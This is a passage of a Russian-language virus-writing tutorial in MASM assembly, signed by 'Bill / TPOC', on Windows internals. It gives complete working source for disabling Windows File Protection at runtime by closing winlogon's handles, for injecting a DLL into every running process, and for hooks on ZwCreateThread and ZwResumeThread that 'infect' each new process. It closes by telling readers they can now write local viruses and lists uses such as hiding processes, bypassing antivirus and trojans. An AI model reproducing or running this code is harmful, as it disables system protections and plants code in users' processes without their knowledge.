  6.   PULONG ReturnLength
  7. );

Давайте прочтем описание переменной ReturnLength:

«ReturnLength [out, optional] Optional pointer to a location where the function writes the actual size of the information requested. If that size is less than or equal to the SystemInformationLength parameter, the function copies the information into the SystemInformation buffer; otherwise, it returns an NTSTATUS error code and returns in ReturnLength the size of buffer required to receive the requested information.»

Вот здесь и есть ошибка в документации. На самом деле, если размер буфера меньше нужного, то параметр ReturnLength не заполняется. Так как размер буфера не перманентен, то нам приходиться инкрементно перебирать размеры. Если функция возвращает STATUS_INFO_LENGTH_MISMATCH, то размер буфера недостаточен. Вот код который находит нужный размер буфера:

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;       Определям размер буфера для получения списка хэндлов     
  4. ;===============================================================================;
  5.     push offset SizeBuffer
  6.     push 0
  7.     push 0
  8.     push 16;SystemHandleInformation
  9.     call _NtQuerySystemInformation
  10.     .if eax!=STATUS_INFO_LENGTH_MISMATCH
  11.         jmp end_calc_size
  12.     .endif
  13. next_calc_size:
  14.     add SizeBuffer,01000h;Увеличиваем размер буфера на страницу
  15.     .if pSystemHandleInfo!=0
  16.         invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
  17.     .endif
  18.     invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
  19.     mov pSystemHandleInfo,eax
  20.     push offset uBuff
  21.     push SizeBuffer
  22.     push pSystemHandleInfo
  23.     push 16
  24.     call _NtQuerySystemInformation
  25.     .if eax==STATUS_INFO_LENGTH_MISMATCH
  26.         jmp next_calc_size
  27.     .endif
  28. end_calc_size:
  29. ;===============================================================================;

Пример Закончен.

После выполнения вышеприведенного кода, в pSystemHandleInfo содержится указатель на буфер. В буфере содержится количество описателей. А потом массив структур типа HandleInfo. Количество структур в этом буфере ровно соответствует первому двойному слову буфера. Эта структура определена следующим образом:

Код (Text):
  1.  
  2. Handle_Info struct
  3.     Pid DWORD ?
  4.     ObjectType WORD ?
  5.     HandleValue WORD ?
  6.     ObjectPointer DWORD ?
  7.     AccessMask DWORD ? 
  8. Handle_Info ends

Pid мы используем, чтобы узнать какому процессу принадлежит описатель. Также мы будем использовать параметр HandleValue для дублирования хэндлов.

                После того как мы узнали, что данный описатель принадлежит процессу WINLOGON.EXE мы должны узнать имя объекта соответствующего данному описателю. Нас интересует имя \Device\HarddiskVolume1\WINDOWS\system32. А если точнее его часть WINDOWS\SYSTEM32. Закрывая эти описатели, мы отключаем Windows File Protection. Чтобы получить имя объекта по его описателю, мы вызываем функцию NtQueryObject. Эта Native функция полностью недокументированна. По крайней мере в MSDN VisualStudio .NET 2003 ее описание отсутствует. Но я знаю, что ее описание есть в DDK. Как бы то ни было, я взял прототип функции в книге Гарри Нэббета.

                Мы вызываем функцию NtQueryObject, чтобы получить имя объекта соответствующее описателю. Далее мы сравниваем UNICODE-строку «WINDOWS\SYSTEM32»или «WINNT\SYSTEM32» с полученным именем объекта. Сравниваем мы с конца, идя в начало. Сравнение идет с помощью функции CompareStringsBackwards. В ней используются цепочечные операции пересылки слов. Длина сравнения зависит от длины строки «WINDOWS\SYSTEM32» или «WINNT\SYSTEM32». А вот и функция CompareStringsBackwards:

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;           Сравнить строки назад
  4. ;===============================================================================;
  5. CompareStringBackwards proc pStr1:dword,pStr2:dword
  6. LOCAL Len1:DWORD
  7. LOCAL Len2:DWORD
  8.     push esi
  9.     push edi
  10.     invoke lstrlenW,pStr1
  11.     mov Len1,eax
  12.     invoke lstrlenW,pStr2
  13.     mov Len2,eax
  14.     mov eax,Len1
  15.     .if eax>Len2
  16.         mov eax,0
  17.         ret
  18.     .endif
  19.     mov edx,Len1
  20.     add edx,Len1
  21.     mov edi,pStr1
  22.     add edi,edx
  23.  
  24.     mov edx,Len2
  25.     add edx,Len2
  26.     mov esi,pStr2
  27.     add esi,edx
  28.  
  29.     mov ecx,Len1
  30.     inc ecx
  31.     std
  32.     repe cmpsw
  33.     add esi,2
  34.     add edi,2
  35.     xor eax,eax
  36.     xor edx,edx
  37.     mov ax,word ptr [esi]
  38.     mov dx,word ptr [edi]
  39.     .if (ecx==0)&&(eax==edx)
  40.         mov eax,1
  41.         pop edi
  42.         pop esi
  43.         ret
  44.     .else
  45.         mov eax,0
  46.         pop edi
  47.         pop esi
  48.         ret
  49.     .endif
  50. CompareStringBackwards endp
  51. ;===============================================================================;

Пример Закончен.

Если строки равны и CompareStringsBackwards возвращает единицу, то мы переоткрываем описатель чтобы открыть его с правами DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS. Флаг DUPLICATE_CLOSE_SOURCE указывает, что функция DuplicateHandle закрывает указанный описатель в указанном процессе.

А теперь посмотрите полные код программки, которая отключает Windows File Protection во время работы ОС. После перезагрузки WFP опять будет включена.

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;               П Р О Г Р А М М А                 
  4. ;       Отключение Windows File Protection на лету         
  5. ;===============================================================================;
  6.  
  7. ;===============================================================================;
  8. ;           Options and Includes                   
  9. ;===============================================================================;
  10. .386                                       
  11. option casemap:none                            
  12. .model flat,stdcall                            
  13. include \tools\masm32\include\windows.inc                  
  14. includelib \tools\masm32\lib\kernel32.lib                  
  15. include \tools\masm32\include\kernel32.inc                 
  16. include \tools\masm32\include\user32.inc                   
  17. includelib \tools\masm32\lib\user32.lib                    
  18. include \tools\masm32\include\advapi32.inc                 
  19. includelib \tools\masm32\lib\advapi32.lib                  
  20. ;===============================================================================;
  21.  
  22. Handle_Info struct
  23.     Pid DWORD ?
  24.     ObjectType WORD ?
  25.     HandleValue WORD ?
  26.     ObjectPointer DWORD ?
  27.     AccessMask DWORD ? 
  28. Handle_Info ends
  29.  
  30. UNICODE_STRING STRUCT
  31.     woLength        WORD    ?       ; len of string in bytes (not chars)
  32.     MaximumLength   WORD    ?           ; len of Buffer in bytes (not chars)
  33.     Buffer          DWORD   ?   ; pointer to string
  34. UNICODE_STRING ENDS
  35.  
  36. System_Handle_Information struct
  37.     nHandleEntries DWORD ?
  38.     pHandleInfo DWORD ?
  39. System_Handle_Information ends
  40.  
  41. CharUpperW PROTO :DWORD
  42. lstrlenW PROTO :DWORD
  43.  
  44. STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
  45. ;===============================================================================;
  46. ;           Initialized Data Section               
  47. ;===============================================================================;
  48. .data                                      
  49.     Priv db "SeDebugPrivilege",0
  50.     ntdll db "NTDLL.DLL",0
  51.     FuncName db "NtQuerySystemInformation",0
  52.     FuncName2 db "NtQueryObject",0
  53.     pSystemHandleInfo dd 0
  54.     SizeBuffer dd 0
  55.     winlogon_str db "winlogon.exe",0
  56.     hWinlogon dd 0
  57.     WinDir1 dw "W","I","N","D","O","W","S","\","S","Y","S","T","E","M","3","2",0
  58.     WinDir2 dw "W","I","N","N","T","\","S","Y","S","T","E","M","3","2",0
  59. ;===============================================================================;
  60.  
  61.  
  62.  
  63. ;===============================================================================;
  64. ;           Uninitialized Data Section             
  65. ;===============================================================================;
  66. .data?                                     
  67.     _NtQuerySystemInformation dd ? 
  68.     _NtQueryObject dd ?                        
  69.     uBuff dd ?
  70.     WinLogon_Id dd ?
  71.     hCopy dd ?
  72. ObjName label byte
  73.     Name UNICODE_STRING &lt;?&gt;
  74.     pBuffer db MAX_PATH+1 dup (?)
  75. ;===============================================================================;
  76.  
  77.  
  78.  
  79. ;===============================================================================;
  80. ;               Code Section                   
  81. ;===============================================================================;
  82. .code
  83. start:
  84.     call EnableDebugPrivilege;Теперь у нас отладочные привилегии
  85.     invoke GetModuleHandle,offset ntdll
  86.     invoke GetProcAddress,eax,offset FuncName
  87.     mov _NtQuerySystemInformation,eax
  88.     invoke GetModuleHandle,offset ntdll
  89.     invoke GetProcAddress,eax,offset FuncName2
  90.     mov _NtQueryObject,eax
  91. ;===============================================================================;
  92. ;           Получаем описатель процесса Winlogon.exe      
  93. ;===============================================================================;
  94.     push offset winlogon_str
  95.     call GetPIDbyName
  96.     mov WinLogon_Id,eax
  97.     invoke OpenProcess,PROCESS_DUP_HANDLE,0,eax
  98.     mov hWinlogon,eax
  99. ;===============================================================================;
  100. ;===============================================================================;
  101. ;       Определям размер буфера для получения списка хэндлов     
  102. ;===============================================================================;
  103.     push offset SizeBuffer
  104.     push 0
  105.     push 0
  106.     push 16;SystemHandleInformation
  107.     call _NtQuerySystemInformation
  108.     .if eax!=STATUS_INFO_LENGTH_MISMATCH
  109.         jmp end_calc_size
  110.     .endif
  111. next_calc_size:
  112.     add SizeBuffer,01000h
  113.     .if pSystemHandleInfo!=0
  114.         invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
  115.     .endif
  116.     invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
  117.     mov pSystemHandleInfo,eax
  118.     push offset uBuff
  119.     push SizeBuffer
  120.     push pSystemHandleInfo
  121.     push 16
  122.     call _NtQuerySystemInformation
  123.     .if eax==STATUS_INFO_LENGTH_MISMATCH
  124.         jmp next_calc_size
  125.     .endif
  126. end_calc_size:
  127. ;===============================================================================;
  128. ;===============================================================================;
  129. ;       Получаем все хэндлы и закрываем ненужные        
  130. ;===============================================================================;
  131.     assume edi:ptr System_Handle_Information
  132.     mov edi,pSystemHandleInfo
  133.     mov ecx,[edi].nHandleEntries
  134.     add edi,4
  135.     ;mov edi,[edi].pHandleInfo
  136.     assume edi:ptr Handle_Info
  137.     mov edx,0
  138. next_handle:
  139.     push ecx
  140.     push edx
  141.     mov eax,[edi].Pid
  142.     .if eax==WinLogon_Id
  143.         invoke GetCurrentProcess
  144.         mov edx,eax
  145.         xor eax,eax
  146.         mov ax,[edi].HandleValue
  147.         invoke DuplicateHandle,hWinlogon,eax,edx,offset hCopy,0,0,DUPLICATE_SAME_ACCESS
  148.         .if eax!=0
  149.             push 0
  150.             push 214h;sizeof(ObjName)
  151.             push offset ObjName
  152.             push 1;ObjectNameInformation
  153.             push hCopy
  154.             call _NtQueryObject
  155.             .if eax==0;StatusSuccess
  156.                 push edi
  157.                 mov edi,offset ObjName
  158.                 assume edi:ptr UNICODE_STRING
  159.                 mov edi,[edi].Buffer
  160.                 push edi
  161.                 call CharUpperW
  162.                 mov edi,offset ObjName
  163.                 assume edi:ptr UNICODE_STRING
  164.                 mov edi,[edi].Buffer
  165.                 push edi
  166.                 push offset WinDir1
  167.                 call CompareStringBackwards
  168.                 .if eax==1
  169.                     jmp Yes
  170.                 .elseif
  171.                     jmp No
  172.                 .endif
  173.                 mov edi,offset ObjName
  174.                 assume edi:ptr UNICODE_STRING
  175.                 mov edi,[edi].Buffer
  176.                 push edi
  177.                 push offset WinDir2
  178.                 call CompareStringBackwards
  179.                 .if eax==1
  180.                     jmp Yes
  181.                 .elseif
  182.                     jmp No
  183.                 .endif
  184. Yes:
  185.                 invoke CloseHandle,hCopy
  186.                 pop edi
  187.                 assume edi:ptr Handle_Info
  188.                 xor eax,eax
  189.                 mov ax,[edi].HandleValue
  190.                 invoke DuplicateHandle,hWinlogon,eax,-1,offset hCopy,0,0,\
  191.                        DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS
  192.                 invoke CloseHandle,hCopy
  193.                 push edi
  194.             .endif
  195. No:
  196.         pop edi
  197.         .endif
  198.         invoke CloseHandle,hCopy
  199.     .endif
  200.     pop edx
  201.     pop ecx
  202.     inc edx
  203.     .if edx&gt;=ecx
  204.         invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
  205.         invoke CloseHandle,hWinlogon
  206.         invoke TerminateProcess,-1,0
  207.     .endif
  208.     add edi,16
  209.     jmp next_handle
  210. ;===============================================================================;
  211. ;===============================================================================;
  212. ;           Включить отладочные привилегии             
  213. ;===============================================================================;
  214. EnableDebugPrivilege proc
  215. LOCAL hToken:DWORD
  216. LOCAL tkp:TOKEN_PRIVILEGES
  217. LOCAL ReturnLength:DWORD
  218. LOCAL luid:LUID
  219.     mov eax,0
  220.     invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
  221.     invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
  222.     .IF eax==0
  223.         invoke CloseHandle,hToken
  224.         ret
  225.     .ENDIF
  226.     mov tkp.PrivilegeCount,1
  227.     lea eax,tkp.Privileges
  228.     assume eax:ptr LUID_AND_ATTRIBUTES
  229.     push luid.LowPart
  230.     pop [eax].Luid.LowPart
  231.  
  232.     push luid.HighPart
  233.     pop [eax].Luid.HighPart
  234.  
  235.     mov [eax].Attributes,SE_PRIVILEGE_ENABLED
  236.    
  237.     invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
  238.     invoke GetLastError
  239.     .IF eax!=ERROR_SUCCESS
  240.         ret
  241.     .ENDIF
  242.     invoke CloseHandle,hToken
  243.     mov eax,1
  244.     ret
  245. EnableDebugPrivilege endp
  246.  
  247. ;===============================================================================;
  248. ;           Процесс по имени
  249. ;===============================================================================;
  250. GetPIDbyName proc Str1:DWORD
  251. LOCAL pe:PROCESSENTRY32
  252. LOCAL hSnap:DWORD
  253.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
  254.     mov hSnap,eax
  255.     mov pe.dwSize,sizeof pe
  256.     invoke Process32First,hSnap,addr pe
  257.     .if eax==0
  258.         ret
  259.     .endif
  260. next_process:
  261.     invoke Process32Next,hSnap,addr pe
  262.     .if eax==0
  263.         ret
  264.     .endif
  265.     invoke lstrcmpi,addr pe.szExeFile,Str1
  266.     .if eax==0
  267.         mov eax,pe.th32ProcessID
  268.         ret
  269.     .endif
  270.     jmp next_process
  271. GetPIDbyName endp
  272. ;===============================================================================;
  273. ;===============================================================================;
  274. ;           Сравнить строки назад
  275. ;===============================================================================;
  276. CompareStringBackwards proc pStr1:dword,pStr2:dword
  277. LOCAL Len1:DWORD
  278. LOCAL Len2:DWORD
  279.     push esi
  280.     push edi
  281.     invoke lstrlenW,pStr1
  282.     mov Len1,eax
  283.     invoke lstrlenW,pStr2
  284.     mov Len2,eax
  285.     mov eax,Len1
  286.     .if eax&gt;Len2
  287.         mov eax,0
  288.         ret
  289.     .endif
  290.     mov edx,Len1
  291.     add edx,Len1
  292.     mov edi,pStr1
  293.     add edi,edx
  294.  
  295.     mov edx,Len2
  296.     add edx,Len2
  297.     mov esi,pStr2
  298.     add esi,edx
  299.  
  300.     mov ecx,Len1
  301.     inc ecx
  302.     std
  303.     repe cmpsw
  304.     add esi,2
  305.     add edi,2
  306.     xor eax,eax
  307.     xor edx,edx
  308.     mov ax,word ptr [esi]
  309.     mov dx,word ptr [edi]
  310.     .if (ecx==0)&&(eax==edx)
  311.         mov eax,1
  312.         pop edi
  313.         pop esi
  314.         ret
  315.     .else
  316.         mov eax,0
  317.         pop edi
  318.         pop esi
  319.         ret
  320.     .endif
  321. CompareStringBackwards endp
  322.  
  323. end start
  324. ;===============================================================================;
  325. ;               End Program                
  326. ;===============================================================================;

Пример Закончен.

Глобальный перехват

Для установки в системе этого перехвата необходимо внедрить DLL в адресное пространство всех текущих процессов или просто скопировать код в Shell-код стиле (если мы не используем DLL), а также всех процессов, которые запустятся потом. Для внедрения во все текущие процессы используем  Toolhelp-функции для перечисления процессов. Также можно использовать функцию NtQuerySystemInformation, которая является Native для Toolhelp-функций, а также и для функций Enum... Вот код, который устанавливает перехват для всех запущенных процессов:

Пример:

Код (Text):
  1.  
  2. ;===============================================================================;
  3. ;                   Options and Includes                   
  4. ;===============================================================================;
  5. .386                                       
  6. option casemap:none                            
  7. .model flat,stdcall                            
  8. include \tools\masm32\include\windows.inc                  
  9. includelib \tools\masm32\lib\kernel32.lib                  
  10. include \tools\masm32\include\kernel32.inc                 
  11. include \tools\masm32\include\user32.inc                   
  12. includelib \tools\masm32\lib\user32.lib                    
  13. include \tools\masm32\include\advapi32.inc                 
  14. includelib \tools\masm32\lib\advapi32.lib                  
  15. ;===============================================================================;
  16.  
  17. ;===============================================================================;
  18. ;           Initialized Data Section               
  19. ;===============================================================================;
  20. .data                                      
  21.     lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс
  22.     dwSize equ $-lib;Размер строки с именем DLL             
  23.     kernelName db "kernel32.dll",0;Имя Kernel32.dll             
  24.     loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA     
  25.     _LoadLibrary dd 0;Адрес функции LoadLibrary            
  26.     ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе
  27. ;===============================================================================;
  28. ;           Uninitialized Data Section             
  29. ;===============================================================================;
  30. .data?                                     
  31. ;===============================================================================;
  32.     ThreadId dd ?;Идентификатор треда                
  33.     hSnap dd ?
  34.     hProcess dd ?
  35.     ProcEntry PROCESSENTRY32 &lt;?&gt;
  36. ;===============================================================================;
  37. ;               Code Section                   
  38. ;===============================================================================;
  39. .code
  40. ThreadProc proc
  41.     invoke Sleep,100000
  42.     ret
  43. ThreadProc endp
  44. start:
  45.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
  46.     mov hSnap,eax
  47.     mov ProcEntry.dwSize,sizeof PROCESSENTRY32
  48.     invoke Process32First,hSnap,offset ProcEntry
  49. NextProcess:
  50.     invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,\
  51.            0,ProcEntry.th32ProcessID;Открываем процесс куда будем внедрять DLL
  52.     mov hProcess,eax
  53.     invoke GetModuleHandle,offset kernelName;Получаем описатель модуля Kernel32.dll
  54.     invoke GetProcAddress,eax,offset loadlibraryName;Получаем адрес функции LoadLibrary
  55.     mov _LoadLibrary,eax
  56.     ;Выделяем память в удаленном процессе
  57.     invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE
  58.     mov ParameterForLoadLibrary,eax
  59.     ;Запись строки с именем DLL в АП чужого процесса
  60.     invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
  61.     ;Создаем удаленный поток, который вызывает LoadLibrary,
  62.     ;тем самым внедряем DLL в адресное пространство чужого процесса.  
  63.     invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,ParameterForLoadLibrary,\
  64.                               NULL,offset ThreadId
  65.     invoke Process32Next,hSnap,offset ProcEntry
  66.     .if eax!=0
  67.         jmp NextProcess
  68.     .endif
  69.     invoke ExitProcess,0
  70. end start
  71. ;===============================================================================;
  72. ;               End Program                                
  73. ;===============================================================================;

Пример Закончен.

Чтобы глобально перехватывать функции можно использовать функцию SetWindowsHook. Тогда мы будет перехватывать нужную функцию во всех текущих GUI-приложениях, а также новых, т.к. если мы вызываем функцию SetWindowsHook, то она внедряет DLL и для всех новых процессов.

Другой способ в следующем. Необходимо перехватывать функции, которые создают процесс или которые вызываются при создании процесса. Т.о. мы будет устанавливать перехват и для всех новых процессов. В ОС Windows существует много функций, которые создают процессы – SHELL32.DLL!ShellExecute, KERNEL32.DLL!CreateProcess, NTDLL.DLL!NtCreateProcess. Нам необходимо выяснить какие действия происходят при создании любого процесса, используя любую из функций создания процессов в ОС.

Какой бы функцией не был создан процесс, при создании процесса вызывается функция ZwCreateThread. Вот ее прототип:

Код (Text):
  1.  
  2. ZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
  3.                     ObjectAttributes:DWORD, ProcessHandle:DWORD, \
  4.                     ClientId: DWORD, ThreadContext: DWORD, \
  5.                     UserStack:DWORD, CreateSuspended: DWORD

В параметре ClientId содержиться указатель на структуру, которая называется CLIENTID. Она определена так:

Код (Text):
  1.  
  2. CLIENTID struct
  3.     UniqueProcess DWORD 0
  4.     UniqueThread DWORD 0
  5. CLIENTID ends

UniqueProcess – это идентификатор процесса в котором создается поток. Делаем так: в обработчике ZwCreateThread после вызова нормальной функции ZwCreateThread проверяем UniqueProcess из структуры CLIENTID. Если это значение отличается от идентификатора нашего процесса, то заражаем процесс. Но не тут-то было!!! При заражении процесса вызов LoadLibrary окажется неудачным, потому что процесс еще не проинициализирован. Таким образом если идентификаторы нашего процесса и нового не совпали, то мы просто устанавливаем флажок NewProcess. А мы знаем, что при создании процесса основной поток приостановлен  до тех пор, пока процесс не будет проинициализирован. После того как новый процесс будет проинициализирован для основного потока вызывается функция ZwResumeThread. Значит и ее тоже надо перехватывать. Я сделал 2 макроса, которые сохраняют и соответственно восстанавливают регистры ESI, EDI, EBX, EBP. Вот эти макросы:

Код (Text):
  1.  
  2. startproc macro
  3.     push esi
  4.     push edi
  5.     push ebx
  6.     push ebp
  7. endm
endproc macro pop ebp pop ebx pop edi pop esi endm

Взгляните на обработчик ZwCreateThread:

Пример:

Код (Text):
  1.  
  2. NewZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
  3.                        ObjectAttributes:DWORD, ProcessHandle:DWORD, \
  4.                        ClientId: DWORD, ThreadContext: DWORD, \
  5.                        UserStack:DWORD, CreateSuspended: DWORD
  6.     startproc
  7.     invoke GetCurrentProcess
  8.     invoke WriteProcessMemory,eax,AddrCreateThread,offset Old_Code2,\
  9.            size_code2,0;снятие перехвата
  10.     push TRUE
  11.     push UserStack
  12.     push ThreadContext
  13.     push ClientId
  14.     push ProcessHandle
  15.     push ObjectAttributes
  16.     push DesiredAccess
  17.     push ThreadHandle1
  18.     call AddrCreateThread
  19.     push eax
  20.     mov eax,CurrProcess
  21.     mov edi,ClientId
  22.     assume edi:PTR CLIENTID
  23.     .if eax!=[edi].UniqueProcess
  24.         mov NewProcess,1
  25.     .endif
  26.    
  27.     .if CreateSuspended==0
  28.         invoke ResumeThread,ThreadHandle1
  29.     .endif
  30.     invoke GetCurrentProcess
  31.     invoke WriteProcessMemory,eax,AddrCreateThread,offset code2,\
  32.            size_code2,0;установка перехвата
  33.     pop eax
  34.     endproc
  35.     ret
  36. NewZwCreateThread endp

Пример Закончен.

 

Теперь нам надо перехватить ZwResumeThread. Вот ее прототип:

ZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD

Как видите нам передается описатель потока, работа которого возобновляется. Нам необходимо получить id процесса, которому принадлежит этот поток. Если этот id отличается от нашего id’а и установлен флаг NewProcess, то заражаем процесс. Id процесса по описателю потока можно получить с помощью функции NtQueryInformationThread. Вот ее прототип:

Код (Text):
  1.  
  2. ZwQueryInformationThread proc ThreadHandle:DWORD,ThreadInformationClass:DWORD,\
  3.                               ThreadInformation:DWORD,ThreadInformationLength:DWORD, \
  4.                               ReturnLength:DWORD
  • ThreadHandle – описатель потока, о котором мы хотим узнать информацию.
  • ThreadInformation – указатель на структуру THREAD_BASIC_INFORMATION в случае ThreadInformationLength равным 0. Структура THREAD_BASIC_INFORMATION определена так:

Код (Text):
  1.  
  2. THREAD_BASIC_INFORMATION struct
  3.     ExitSTatus DWORD 0
  4.     TebBaseAddress DWORD 0
  5.     ClientId CLIENTID <0>
  6.     AffinityMask DWORD 0
  7.     Priority DWORD 0
  8.     BasePriority DWORD 0
  9. THREAD_BASIC_INFORMATION ends

Из вложенной структуры ClientId мы узнаем id процесса, которому принадлежит поток, т.к. при вызове функции ZwQueryInformationThread заполняется структура THREAD_BASIC_INFORMATION.

А вот исходный код обработчика ZwResumeThread:

Пример:

Код (Text):
  1.  
  2. NewZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD
  3. LOCAL ThreadInfo:THREAD_BASIC_INFORMATION
  4. LOCAL hProcess: DWORD
  5.     startproc
  6.     invoke GetCurrentProcess
  7.     invoke WriteProcessMemory,eax,AddrResumeThread,offset Old_Code3,size_code3,0;снятие перехвата
  8.     invoke GetModuleHandle,offset nt
  9.     invoke GetProcAddress,eax,offset QueryInfoStr
  10.     push 0
  11.     push 28;sizeof THread Basic information
  12.     lea esi,ThreadInfo
  13.     push esi
  14.     push 0;ThreadBasicInfo
  15.     push ThreadHandle1
  16.     call eax;Вызов NtQueryInformationThread для получения id процесса из хэндла треда
  17.     lea esi,ThreadInfo.ClientId
  18.     assume esi:PTR CLIENTID
  19.     mov eax,[esi].UniqueProcess
  20.     .if eax!=CurrProcess
  21.         .if NewProcess==1
  22.         ;заражаем новый процесс
  23.         invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
  24.                PROCESS_VM_OPERATION,0,eax;Открываем процесс куда будем внедрять DLL
  25.         mov hProcess,eax
  26.         ;Получаем описатель модуля Kernel32.dll
  27.         invoke GetModuleHandle,offset kern
  28.         ;Получаем адрес функции LoadLibrary
  29.         invoke GetProcAddress,eax,offset loadlibraryName
  30.         mov _LoadLibrary,eax
  31.         invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,\
  32.                PAGE_READWRITE;Выделяем память в удаленном процессе
  33.         mov ParameterForLoadLibrary,eax
  34.         ;Запись строки с именем DLL в АП чужого процесса
  35.         invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
  36.         ;Создаем удаленный поток, который вызывает LoadLibrary,
  37.         ;тем самым внедряем DLL в адресное пространство чужого процесса.  
  38.         invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,\
  39.                ParameterForLoadLibrary,NULL,offset ThreadId
  40.         invoke CloseHandle,hProcess
  41.         mov NewProcess,0
  42.         .endif
  43.     .endif
  44.     push PriviousSuspendCount
  45.     push ThreadHandle1
  46.     call AddrResumeThread
  47.     push eax
  48.     invoke GetCurrentProcess
  49.     invoke WriteProcessMemory,eax,AddrResumeThread,offset code3,size_code3,0;установка перехвата
  50.     pop eax
  51.     endproc
  52.     ret
  53. NewZwResumeThread endp

Пример Закончен.

В архиве прилагаемой к статье в папке GlobalHooking находиться программа и ее исходный код, где перехватывается MessageBoxA и MessageBoxW во всех текущих процессах и в новых.

Примеры использования перехвата вызовов функций

Вот список, где можно использовать перехват вызовов функций. Но он конечно не исчерпывающий.

  • Брандмауэр
  • Контроль сетевого трафика
  • Скрытие файлов
  • Скрытие сетевых соединений
  • Скрытие процессов
  • Продвинутое заражение
  • Обход брандмауэра
  • Обход антивируса
  • Эмуляция другой ОС
  • Взлом программ
  • Троянские программы

Использованные источники и источники для дальнейших исследований

SEH и VEH

  1. A Crash Course on the Depths of Win32™ Structured Exception Handling [Matt Pietrek] http://www.microsoft.com
  2. Обработка исключений Win32 для программистов на ассемблере [Jeremy Gordon] http://www.wasm.ru
  3. SEH(Structured Exception Handling) на службе контрреволюции [Крис Касперски] http://www.insidepro.com
  4. Эксплуатирование SEH в среде Win32. Часть первая. [houseofdabus] http://www.securitylab.ru
  5. New Vectored Exception Handling in Windows XP [Matt Pietrek] http://www.microsoft.com
  6. Централизованная обработка исключений [Беляев Алексей] http://www.rsdn.ru

Windows File Protection

  1. Windows File Protection: How To Disable It On The Fly [Ntoskrnl] http://www.rootkit.com

API Hooking

  1. Перехват API функций в Windows NT (часть 1). Основы перехвата. [Ms-Rem] http://www.wasm.ru
  2. Перехват API функций в Windows NT (часть 2). Методы внедрения кода. [Ms-Rem] http://www.wasm.ru
  3. Система перехвата функций API платформы Win32 [90210 / HI-TECH] http://www.wasm.ru
  4. API hooking revealed [Ivo Ivanov] http://lib.training.ru/Lib/ArticleDetail.aspx?ar=1596&l=&mi=105&mic=352
  5. API Spying [Сергей Холодилов] http://www.rsdn.ru
  6. API Spying Techniques for Windows 9x, NT and 2000 [Yariv Kaplan] http://www.internals.com/articles/apispy/apispy.htm
  7. HOWTO: Вызов функции в другом процессе [Сергей Холодилов] http://www.rsdn.ru
  8. Перехват API-функций в Windows NT/2000/XP [Тихомиров В.А.] http://www.rsdn.ru
  9. Перехват данных Internet Explorer [Matt Pietrek] http://www.codenet.ru/progr/visualc/ie.php
  10. Per-process residency review: common mistakes [Bumblebee / 29A] http://vx.netlux.org
  11. Hooking Windows API – Technics of hooking API functions on Windows [Holy Father] http://www.Assembly-Journal.com

Заключение

В этой главе мы рассмотрели несколько очень важных техник, без которых далеко не уйдешь. Они используются не только при программировании вирусов, но и вообще в системном программировании. Теперь используя полученный материал, Вы можете программировать любые локальные вирусы. Я понимаю, что этот материал нельзя освоить за один наскок, но Вы должны стараться. Во всяком случае, Вы будете приближаться к истинному пониманию работы ОС Windows, ее идеологии, подводных камнях и т.д. И наша задача заключается именно в понимании тонкостей работы ОС Windows. Я надеюсь, что не будете никому вредить, используя полученные знания. Я категорически против деструкции в вирусах. Лучше напрягитесь и сделайте какую-нибудь красивую или оригинальную полезную нагрузку, чтобы ЮЗВЕРЬ упал со стула от удивления, например, когда его компьютер начнет пукать :smile3:

Если у Вас есть замечания по статье или вопросы, то свяжитесь со мной по адресу BILL_TPOC@MAIL.RU.

The Passion Of Code ( TPOC ) Laboratory

Я представляю лабораторию The Passion Of Code ( TPOC ) и заявляю: если у Вас есть желание вникать в тонкости ОС и Вы уже что-то умеете, то я прошу Вас связаться со мной по адресу BILL_TPOC@MAIL.RU. Но не беспокойте пожалуйста меня те люди, которых надо подгонять что-то делать – у Вас должен быть свой энтузиазм. Сайт нашей лаборатории http://tpoc.h15.ru.

Спасибо…

DayDream, BlackFox, _follower / TPOC, FreeMan / TPOC

Также хотел бы сказать спасибо Ms-Rem за его замечательную статью “Перехват API функций в Windows NT (часть 2). Методы внедрения кода”

Файлы к статье.

© Bill / TPOC

0 41.410
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532